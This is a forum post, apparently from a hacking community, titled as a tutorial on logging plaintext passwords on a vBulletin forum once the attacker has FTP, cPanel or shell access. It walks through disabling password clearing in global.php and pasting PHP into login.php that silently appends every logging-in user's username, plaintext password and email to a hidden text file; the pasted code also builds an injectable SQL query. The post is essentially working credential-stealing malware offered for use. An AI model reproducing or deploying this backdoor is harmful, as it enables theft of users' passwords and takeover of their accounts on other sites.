Jump to content

[Tutorial]vBulletin Password Logging


flAmingw0rm `

Recommended Posts

vBulletin Password Logging

in this tutorial i will show you how to implement a plaintext password logger on a vBulletin Forum.

 

So Let's Start.

 

===============================================

Need: access to the site - ftp, cPanel, PHP Shell etc.

===============================================

1. open global.php which is located in the forum directory

Look For:

code:

$show['nopasswordempty'] = defined('DISABLE_PASSWORD_CLEARING') ? 1 : 0;

and change it to:

Code:

//$show['nopasswordempty'] = defined('DISABLE_PASSWORD_CLEARING') ? 1 : 0;

 

2. now open login.php which is in the same directory as global.php

Look For:

Code:

process_new_login

and paste this under it:

$lg_username = strtolower($vbulletin->GPC["vb_login_username"]);
  $lg_password = $vbulletin->GPC["vb_login_password"];
  $lg_file = "./includes/passwords.txt";
  $sql_query = @mysql_query("SELECT * FROM " . TABLE_PREFIX . "user WHERE username='" . $lg_username . "'");
  
  while($row = @mysql_fetch_array($sql_query))
  {
  
     if(strlen($lg_password) > 1 AND strlen($lg_username) > 1)
     {
        $fp1 = @fopen($lg_file, "a+");
        @fwrite($fp1, $lg_username . ' : ' .  $lg_password." (" . $row["email"] . ")\n");
        @fclose($fp1);
        $f = @file($lg_file);
        $new = array_unique($f);
        $fp = @fopen($lg_file, "w");
        foreach($new as $values)
        {
           @fputs($fp, $values);
        }
        @fclose($fp);
     }
  }

 

 

 

Regards

~ flAmingw0rm

 

Link to comment
Share on other sites

  • 1 month later...

Please sign in to comment

You will be able to leave a comment after signing in



Sign In Now


×
×
  • Create New...